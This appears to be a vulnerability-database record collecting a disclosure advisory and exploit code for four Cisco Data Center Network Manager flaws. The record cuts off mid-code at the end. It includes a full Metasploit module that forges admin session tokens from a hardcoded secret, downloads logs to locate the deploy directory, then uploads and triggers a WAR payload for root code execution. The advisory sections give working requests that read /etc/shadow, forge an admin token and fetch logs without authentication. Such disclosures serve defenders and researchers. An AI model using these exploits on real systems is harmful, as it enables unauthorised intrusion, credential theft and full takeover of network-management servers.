Metasploit module that exploits this vulnerability has been released with this advisory.\r\n\r\n\r\n#3\r\nVulnerability: Arbitrary File Download\r\nCVE-2019-1621\r\nAttack Vector: Remote\r\nConstraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1), where it can be exploited by an unauthenticated user\r\nAffected products / versions:\r\n- Cisco Data Center Network Manager 11.1(1) and below\r\n\r\nDCNM exposes a servlet to download files on /fm/downloadServlet. An authenticated user can abuse this servlet to download arbitrary files as root [5].\r\n\r\nThe code below shows the servlet request processing code:\r\ncom.cisco.dcbu.web.client.util.DownloadServlet \r\n\r\n public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\r\n Credentials cred = (Credentials)((Object)request.getSession().getAttribute(\"credentials\"));\r\n if (cred == null || !cred.isAuthenticated()) {\r\n throw new ServletException(\"User not logged in or Session timed out.\");\r\n }\r\n String showFile = (String)request.getAttribute(\"showFile\");\r\n if (showFile == null) {\r\n showFile = request.getParameter(\"showFile\");\r\n }\r\n File f = new File(showFile);\r\n if (showFile.endsWith(\".cert\")) {\r\n response.setContentType(\"application/octet-stream\");\r\n response.setHeader(\"Pragma\", \"cache\");\r\n response.setHeader(\"Cache-Control\", \"cache\");\r\n response.setHeader(\"Content-Disposition\", \"attachment; filename=fmserver.cert;\");\r\n } else if (showFile.endsWith(\".msi\")) {\r\n response.setContentType(\"application/x-msi\");\r\n response.setHeader(\"Pragma\", \"cache\");\r\n response.setHeader(\"Cache-Control\", \"cache\");\r\n response.setHeader(\"Content-Disposition\", \"attachment; filename=\" + f.getName() + \";\");\r\n } else if (showFile.endsWith(\".xls\")) {\r\n response.setContentType(\"application/vnd.ms-excel\");\r\n response.setHeader(\"Pragma\", \"cache\");\r\n response.setHeader(\"Cache-Control\", \"cache\");\r\n response.setHeader(\"Content-Disposition\", \"attachment; filename=\" + f.getName() + \";\");\r\n }\r\n ServletOutputStream os = response.getOutputStream();\r\n FileInputStream is = new FileInputStream(f);\r\n byte[] buffer = new byte[4096];\r\n int read = 0;\r\n try {\r\n while ((read = is.read(buffer)) > 0) {\r\n os.write(buffer, 0, read);\r\n }\r\n os.flush();\r\n }\r\n catch (Exception e) {\r\n LogService.log(LogService._WARNING, e.getMessage());\r\n }\r\n finally {\r\n is.close();\r\n }\r\n }\r\n}\r\n\r\nAs you can see, it's quite simple. It takes a \"showFile\" request parameter, reads that file and returns to the user. Here's an example of the servlet in action:\r\n\r\nRequest:\r\nGET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1\r\nHost: 10.75.1.40\r\nCookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;\r\n\r\nResponse:\r\nHTTP/1.1 200 OK\r\n\r\nroot:$1$(REDACTED).:17763:0:99999:7:::\r\nbin:*:15980:0:99999:7:::\r\ndaemon:*:15980:0:99999:7:::\r\nadm:*:15980:0:99999:7:::\r\nlp:*:15980:0:99999:7:::\r\n(...)\r\n\r\nAn interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code.\r\n\r\nA Metasploit module that exploits this vulnerability has been released with this advisory.\r\n\r\n\r\n#4\r\nVulnerability: Information Disclosure (log files download)\r\nCVE-2019-1622\r\nAttack Vector: Remote\r\nConstraints: None\r\nAffected products / versions:\r\n- Cisco Data Center Network Manager 11.1(1) and below\r\n\r\nDCNM exposes a LogZipperServlet in /fm/log/fmlogs.zip. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6].\r\n\r\nTo access it, simply request:\r\nGET /fm/log/fmlogs.zip\r\n\r\nCode is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet.\r\n\r\n\r\n>> Fix: \r\nFor #1, upgrade to DCNM 11.0(1) and above [3].\r\nFor #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5].\r\nFor #4, it is not clear from Cisco's advisory on which version it was fixed [6].\r\n\r\n\r\n>> References:\r\n[1] https://www.accenture.com/us-en/service-idefense-security-intelligence\r\n[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html\r\n[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass\r\n[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex\r\n[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld\r\n[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl\r\n\r\n\r\n>> Disclaimer:\r\nPlease note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. \r\nUnconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly.\r\nAgile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory.\r\nIt is the vendor's responsibility to ensure their products' security before, during and after release to market.\r\n\r\nAll information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3).\r\nFor information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. \r\nFor more information check https://www.gnu.org/licenses/gpl-3.0.en.html\r\n\r\n================\r\nAgile Information Security Limited\r\nhttp://www.agileinfosec.co.uk/\r\n>> Enabling secure digital business.\n\n# 0day.today [2019-07-09] #", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://0day.today/exploit/32960"}, {"lastseen": "2019-12-04T03:58:20", "description": "DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps directory and achieve remote code execution as root. This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct directory for the WAR file upload. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit (see References to understand why).", "edition": 1, "published": "2019-09-03T00:00:00", "title": "Cisco Data Center Network Manager Unauthenticated Remote Code Execution Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-1619", "CVE-2019-1620", "CVE-2019-1622"], "modified": "2019-09-03T00:00:00", "id": "1337DAY-ID-33201", "href": "https://0day.today/exploit/description/33201", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',\r\n 'Description' => %q{\r\n DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.\r\n An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps\r\n directory and achieve remote code execution as root.\r\n This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on\r\n versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct\r\n directory for the WAR file upload.\r\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\r\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\r\n (see References to understand why).\r\n },\r\n 'Author' =>\r\n [\r\n 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module\r\n ],\r\n 'License' => MSF_LICENSE,\r\n 'References' =>\r\n [\r\n [ 'CVE', '2019-1619' ], # auth bypass\r\n [ 'CVE', '2019-1620' ], # file upload\r\n [ 'CVE', '2019-1622' ], # log download\r\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],\r\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],\r\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],\r\n [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],\r\n [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]\r\n ],\r\n 'Platform' => 'java',\r\n 'Arch' => ARCH_JAVA,\r\n 'Targets' =>\r\n [\r\n [ 'Automatic', {} ],\r\n [\r\n 'Cisco DCNM 11.1(1)', {}\r\n ],\r\n [\r\n 'Cisco DCNM 11.0(1)', {}\r\n ],\r\n [\r\n 'Cisco DCNM 10.4(2)', {}\r\n ]\r\n ],\r\n 'Privileged' => true,\r\n 'DefaultOptions' => { 'WfsDelay' => 10 },\r\n 'DefaultTarget' => 0,\r\n 'DisclosureDate' => 'Jun 26 2019'\r\n ))\r\n\r\n register_options(\r\n [\r\n Opt::RPORT(443),\r\n OptBool.new('SSL', [true, 'Connect with TLS', true]),\r\n OptString.new('TARGETURI', [true, \"Default server path\", '/']),\r\n OptString.new('USERNAME', [true, \"Username for auth (required only for 11.0(1) and above\", 'admin']),\r\n OptString.new('PASSWORD', [true, \"Password for auth (required only for 11.0(1) and above\", 'admin']),\r\n ])\r\n end\r\n\r\n def check\r\n # at the moment this is the best way to detect\r\n # check if pmreport and fileUpload servlets return a 500 error with no params\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),\r\n 'vars_get' =>\r\n {\r\n 'token' => rand_text_alpha(5..20)\r\n },\r\n 'method' => 'GET'\r\n )\r\n if res && res.code == 500\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),\r\n 'method' => 'GET',\r\n )\r\n if res && res.code == 500\r\n return CheckCode::Detected\r\n end\r\n end\r\n\r\n CheckCode::Unknown\r\n end\r\n\r\n def target_select\r\n if target != targets[0]\r\n return target\r\n else\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),\r\n 'method' => 'GET'\r\n )\r\n if res && res.code == 200\r\n if res.body.include?('version\":\"11.1(1)')\r\n print_good(\"#{peer} - Detected DCNM 11.1(1)\")\r\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\r\n return targets[1]\r\n elsif res.body.include?('version\":\"11.0(1)')\r\n print_good(\"#{peer} - Detected DCNM 11.0(1)\")\r\n print_status(\"#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit\")\r\n return targets[2]\r\n elsif res.body.include?('version\":\"10.4(2)')\r\n print_good(\"#{peer} - Detected DCNM 10.4(2)\")\r\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\r\n return targets[3]\r\n else\r\n print_error(\"#{peer} - Failed to detect target version.\")\r\n print_error(\"Please contact module author or add the target yourself and submit a PR to the Metasploit project!\")\r\n print_error(res.body)\r\n print_status(\"#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass\")\r\n return targets[3]\r\n end\r\n end\r\n fail_with(Failure::NoTarget, \"#{peer} - Failed to determine target\")\r\n end\r\n end\r\n\r\n def auth_v11\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm/'),\r\n 'method' => 'GET',\r\n 'vars_get' =>\r\n {\r\n 'userName' => datastore['USERNAME'],\r\n 'password' => datastore['PASSWORD']\r\n },\r\n )\r\n\r\n if res && res.code == 200\r\n # get the JSESSIONID cookie\r\n if res.get_cookies\r\n res.get_cookies.split(';').each do |cok|\r\n if cok.include?(\"JSESSIONID\")\r\n return cok\r\n end\r\n end\r\n end\r\n end\r\n end\r\n\r\n def auth_v10\r\n # step 1: get a JSESSIONID cookie and the server Date header\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm/'),\r\n 'method' => 'GET'\r\n )\r\n\r\n # step 2: convert the Date header and create the auth hash\r\n if res && res.headers['Date']\r\n jsession = res.get_cookies.split(';')[0]\r\n date = Time.httpdate(res.headers['Date'])\r\n server_date = date.strftime(\"%s\").to_i * 1000\r\n print_good(\"#{peer} - Got sysTime value #{server_date.to_s}\")\r\n\r\n # auth hash format:\r\n # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\r\n session_id = rand(1000..50000).to_s\r\n md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +\r\n \"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\"\r\n md5_str = Base64.strict_encode64(md5)\r\n\r\n # step 3: authenticate our cookie as admin\r\n # token format: sessionId.sysTime.md5_str.username\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),\r\n 'cookie' => jsession,\r\n 'vars_get' =>\r\n {\r\n 'token' => \"#{session_id}.#{server_date.to_s}.#{md5_str}.admin\"\r\n },\r\n 'method' => 'GET'\r\n )\r\n\r\n if res && res.code == 500\r\n return jsession\r\n end\r\n end\r\n end\r\n\r\n # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log\r\n def get_war_path\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),\r\n 'method' => 'GET'\r\n )\r\n\r\n if res && res.code == 200\r\n tmp = Tempfile.new\r\n # we have to drop this into a file first\r\n # else we will get a Zip::GPFBit3Error if we use an InputStream\r\n File.binwrite(tmp, res.body)\r\n Zip::File.open(tmp) do |zis|\r\n zis.each do |entry|\r\n if entry.name =~ /jboss[0-9]*\\.log/\r\n fdata = zis.read(entry)\r\n if fdata[/Started FileSystemDeploymentService for directory ([\\w\\/\\\\\\-\\.:]*)/]\r\n tmp.close\r\n tmp.unlink\r\n return $1.strip\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n\r\n\r\n def exploit\r\n target = target_select\r\n\r\n if target == targets[2]\r\n jsession = auth_v11\r\n elsif target == targets[3]\r\n jsession = auth_v10\r\n end\r\n\r\n # targets[1] DCNM 11.1(1) doesn't need auth!\r\n if jsession.nil? && target != targets[1]\r\n fail_with(Failure::NoAccess, \"#{peer} - Failed to authenticate JSESSIONID cookie\")\r\n elsif target != targets[1]\r\n print_good(\"#{peer} - Successfully authenticated our JSESSIONID cookie\")\r\n end\r\n\r\n war_path = get_war_path\r\n if war_path.nil? or war_path.empty?\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to get WAR path from logs\")\r\n else\r\n print_good(\"#{peer} - Obtain WAR path from logs: #{war_path}\")\r\n end\r\n\r\n # Generate our payload... and upload it\r\n app_base = rand_text_alphanumeric(6..16)\r\n war_payload = payload.encoded_war({ :app_name => app_base }).to_s\r\n\r\n fname = app_base + '.war'\r\n post_data = Rex::MIME::Message.new\r\n post_data.add_part(fname, nil, nil, content_disposition = \"form-data; name=\\\"fname\\\"\")\r\n post_data.add_part(war_path, nil, nil, content_disposition = \"form-data; name=\\\"uploadDir\\\"\")\r\n post_data.add_part(war_payload,\r\n \"application/octet-stream\", 'binary',\r\n \"form-data; name=\\\"#{rand_text_alpha(5..20)}\\\"; filename=\\\"#{rand_text_alpha(6..10)}\\\"\")\r\n data = post_data.to_s\r\n\r\n print_status(\"#{peer} - Uploading payload...\")\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),\r\n 'method' => 'POST',\r\n 'data' => data,\r\n 'cookie' => jsession,\r\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\"\r\n )\r\n\r\n if res && res.code == 200 && res.body[/#{fname}/]\r\n print_good(\"#{peer} - WAR uploaded, waiting a few seconds for deployment...\")\r\n\r\n sleep 10\r\n\r\n print_status(\"#{peer} - Executing payload...\")\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, app_base),\r\n 'method' => 'GET'\r\n )\r\n else\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to upload WAR file\")\r\n end\r\n end\r\nend\n\n# 0day.today [2019-12-04] #", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://0day.today/exploit/33201"}], "packetstorm": [{"lastseen": "2019-07-10T12:55:17", "description": "", "published": "2019-07-08T00:00:00", "type": "packetstorm", "title": "Cisco Data Center Network Manager 11.1(1) Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-1619", "CVE-2019-1620", "CVE-2019-1622", "CVE-2019-1621"], "modified": "2019-07-08T00:00:00", "id": "PACKETSTORM:153546", "href": "https://packetstormsecurity.com/files/153546/Cisco-Data-Center-Network-Manager-11.1-1-Remote-Code-Execution.html", "sourceData": "`>> Authentication Bypass and Arbitrary File Upload (leading to remote code execution) on Cisco Data Center Network Manager \n>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/) \n========================================================================== \nDisclosure: 26/6/2019 / Last updated: 6/7/2019 \n \n \n>> Executive summary: \nCisco Data Center Network Manager (DCNM) is provided by Cisco as a virtual appliance as well as installation packages for Windows and Red Hat Linux. \nDCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale. \n \nDCNM 11.1(1) and below is affected by four vulnerabilities: authentication bypass, arbitrary file upload (leading to remote code execution), arbitrary file download and information disclosure via log download. \n \nThe table below lists the affected versions for each vulnerability: \n \nVulnerability Vulnerable? CVE \n<= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1) \nAuthentication bypass Yes No No No 2019-1619 \nFile upload Yes, auth Yes, auth Yes, unauth No 2019-1620 \nFile download Yes, auth Yes, auth Yes, unauth No 2019-1621 \nInfo disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622 \n \nThe authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution. \nIn version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure. \nAmazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication! \nAll vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown. \n \nTo achieve remote code execution with arbitrary file upload vulnerability, an attacker can write a WAR file in the Tomcat webapps folder. The Apache Tomcat server is running as root, meaning that the Java shell will run as root. \n \nAgile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1]. \n \n \n>> Vendor description [2]: \n\"Cisco\u00ae Data Center Network Manager (DCNM) is the comprehensive management solution for all NX-OS network deployments spanning LAN fabrics, SAN fabrics, and IP Fabric for Media (IPFM) networking in the data center powered by Cisco. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus\u00ae and Cisco Multilayer Distributed Switching (MDS) solutions. \nDCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. \n \nDCNM 11 provides interfaces for reoccurring management tasks such as fabric bootstrap, compliance SAN zoning, device-alias management, slow-drain analysis, SAN host-path redundancy, and port-monitoring configuration.\" \n \n \n>> Technical details: \n#1 \nVulnerability: Authentication Bypass \nCVE-2019-1619 \nAttack Vector: Remote \nConstraints: None \nAffected products / versions: \n- Cisco Data Center Network Manager 10.4(2) and below \n \nDCNM exposes a \"ReportServlet\" on the URL /fm/pmreport. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3]. \n \nThe snippet of code below shows what the servlet does: \ncom.cisco.dcbu.web.client.performance.ReportServlet \n \npublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { \nCredentials cred = (Credentials)request.getSession().getAttribute(\"credentials\"); \nif((cred == null || !cred.isAuthenticated()) && !\"fetch\".equals(request.getParameter(\"command\")) && !this.verifyToken(request)) { \nrequest.setAttribute(\"popUpSessionTO\", \"true\"); \n} \n \nthis.doInteractiveChart(request, response); \n} \n \nThe request is passed on to the verifyToken function, listed below: \nprivate boolean verifyToken(HttpServletRequest httpServletRequest) { \nString token = httpServletRequest.getParameter(\"token\"); \nif(token == null) { \nreturn false; \n} else { \ntry { \nFMServerRif serverRif = SQLLoader.getServerManager(); \nIscRif isc = serverRif.getIsc(StringEncrypter.encryptString(\"DESede\", (new Date()).toString())); \ntoken = URLDecoder.decode(token, \"UTF-8\"); \ntoken = token.replace(' ', '+'); \nFMUserBase fmUserBase = isc.verifySSoToken(token); \nif(fmUserBase == null) { \nreturn false; \n} else { \nCredentials newCred = new Credentials(); \nint idx = fmUserBase.getUsername().indexOf(64); \nnewCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); \nnewCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); \nnewCred.setRole(fmUserBase.getRole()); \nnewCred.setAuthenticated(true); \nhttpServletRequest.getSession().setAttribute(\"credentials\", newCred); \nreturn true; \n} \n} catch (Exception var8) { \nvar8.printStackTrace(); \nreturn false; \n} \n} \n} \n \nAs it can be seen in the line: \nFMUserBase fmUserBase = isc.verifySSoToken(token); \nthe HTTP request parameter \"token\" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session. \n \nLet's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl: \n \npublic FMUserBase verifySSoToken(String ssoToken) { \nreturn SecurityManager.verifySSoToken(ssoToken); \n} \n \nDigging further into SecurityManager.verifySSoToken: \ncom.cisco.dcbu.sm.server.security.SecurityManager \n \npublic static FMUserBase verifySSoToken(String ssoToken) { \nString userName = null; \nFMUserBase fmUserBase = null; \nFMUser fmUser = null; \n \ntry { \nuserName = getSSoTokenUserName(ssoToken); \nif(confirmSSOToken(ssoToken)) { \nfmUser = UserManager.getInstance().findUser(userName); \nif(fmUser != null) { \nfmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); \n} \n \nif(fmUserBase == null) { \nfmUserBase = DCNMUserImpl.getFMUserBase(userName); \n} \n \nif(fmUserBase == null) { \nfmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken)); \n} \n} \n} catch (Exception var5) { \n_Logger.info(\"verifySSoToken: \", var5); \n} \n \nreturn fmUserBase; \n} \n \nAs it can be seen in the code above, the username is obtained from the token here: \nuserName = getSSoTokenUserName(ssoToken); \n \nDigging yet another layer we find the following: \npublic static String getSSoTokenUserName(String ssoToken) { \nreturn getSSoTokenDetails(ssoToken)[3]; \n} \n \nprivate static String[] getSSoTokenDetails(String ssoToken) { \nString[] ret = new String[4]; \nString separator = getTokenSeparator(); \nStringTokenizer st = new StringTokenizer(ssoToken, separator); \nif(st.hasMoreTokens()) { \nret[0] = st.nextToken(); \nret[1] = st.nextToken(); \nret[2] = st.nextToken(); \n \nfor(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) { \n; \n} \n} \n \nreturn ret; \n} \n \nSeems like the token is a string which is separated by the \"separator\" with four components, the fourth of which is the username. \n \nNow going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called: \npublic static FMUserBase verifySSoToken(String ssoToken) { \n(...) \nuserName = getSSoTokenUserName(ssoToken); \nif(confirmSSOToken(ssoToken)) { \nfmUser = UserManager.getInstance().findUser(userName); \nif(fmUser != null) { \nfmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); \n} \n(...) \n} \n \npublic static boolean confirmSSOToken(String ssoToken) { \nString userName = null; \nint sessionId = false; \nlong sysTime = 0L; \nString digest = null; \nint count = false; \nboolean ret = false; \n \ntry { \nString[] detail = getSSoTokenDetails(ssoToken); \nuserName = detail[3]; \nint sessionId = Integer.parseInt(detail[0]); \nsysTime = (new Long(detail[1])).longValue(); \nif(System.currentTimeMillis() - sysTime > 600000L) { \nreturn ret; \n} \n \ndigest = detail[2]; \nif(digest != null && digest.equals(getMessageDigest(\"MD5\", userName, sessionId, sysTime))) { \nret = true; \nuserNameTLC.set(userName); \n} \n} catch (Exception var9) { \n_Logger.info(\"confirmSSoToken: \", var9); \n} \n \nreturn ret; \n} \n \nNow we can further understand the token. It seems it is composed of: \nsessionId + separator + sysTime + separator + digest + separator + username \n \nAnd what is the digest? Let's look into the getMessageDigest function: \n \n \nprivate static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception { \nString input = userName + sessionid + sysTime + SECRETKEY; \nMessageDigest md = MessageDigest.getInstance(algorithm); \nmd.update(input.getBytes()); \nreturn new String(Base64.encodeBase64((byte[])md.digest())); \n} \n \nIt is nothing more than the MD5 of: \nuserName + sessionid + sysTime + SECRETKEY \n \n... and SECRETKEY is a fixed key in the code: \nprivate static final String SECRETKEY = \"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\"; \n \n... while the separator is a \".\": \nprivate static String getTokenSeparator() \n{ \nreturn System.getProperty(\"security.tokenSeparator\", \".\"); \n} \n \nIn summary, this is what happens: \nThe ReportServlet will happily authenticate any request, as long as it receives a token in the following format: \nsessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username \n \nThe sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token: \nGET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin \n \nThis request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user. \nNote that the user has to be valid. The \"admin\" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system. \n \nUnfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version. \nIn 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below: \n \nprivate boolean verifyToken(HttpServletRequest httpServletRequest) { \n(...) \nCredentials newCred = new Credentials(); \nint idx = fmUserBase.getUsername().indexOf(64); \nnewCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); \nnewCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here \nnewCred.setRole(fmUserBase.getRole()); \nnewCred.setAuthenticated(true); \nhttpServletRequest.getSession().setAttribute(\"credentials\", newCred); \nreturn true; \n} \n} catch (Exception var8) { \nvar8.printStackTrace(); \nreturn false; \n} \n(...) \n} \n \nThe exception returned is a \"com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded\". \nThis will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it. \n \nI believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident. \n \nOn version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error. \n \n \n#2 \nVulnerability: Arbitrary File Upload (leading to remote code execution) \nCVE-2019-1620 \nAttack Vector: Remote \nConstraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1), where it can be exploited by an unauthenticated user \nAffected products / versions: \n- Cisco Data Center Network Manager 11.1(1) and below \n \nDCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. An authenticated user can abuse this servlet to upload files to an arbitrary directory and ultimately achieve remote code execution [4]. \n \nThe code for this servlet is listed below: \ncom.cisco.dcbu.web.client.reports.FileUploadServlet \n \npublic void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { \nthis.doGet(request, response); \n} \n \npublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { \nCredentials cred = (Credentials)((Object)request.getSession().getAttribute(\"credentials\")); \nif (cred == null || !cred.isAuthenticated()) { \nthrow new ServletException(\"User not logged in or Session timed out.\"); \n} \nthis.handleUpload(request, response); \n} \n \nThe code shown above is simple, and the request is passed onto handleUpload: \n \nprivate void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { \nresponse.setContentType(CONTENT_TYPE); \nPrintWriter out = null; \nArrayList<String> allowedFormats = new ArrayList<String>(); \nallowedFormats.add(\"jpeg\"); \nallowedFormats.add(\"png\"); \nallowedFormats.add(\"gif\"); \nallowedFormats.add(\"jpg\"); \nallowedFormats.add(\"cert\"); \nFile disk = null; \nFileItem item = null; \nDiskFileItemFactory factory = new DiskFileItemFactory(); \nString statusMessage = \"\"; \nString fname = \"\"; \nString uploadDir = \"\"; \nListIterator iterator = null; \nList items = null; \nServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory); \nTransformerHandler hd = null; \ntry { \nout = response.getWriter(); \nStreamResult streamResult = new StreamResult(out); \nSAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance(); \nitems = upload.parseRequest(request); \niterator = items.listIterator(); \nhd = tf.newTransformerHandler(); \nTransformer serializer = 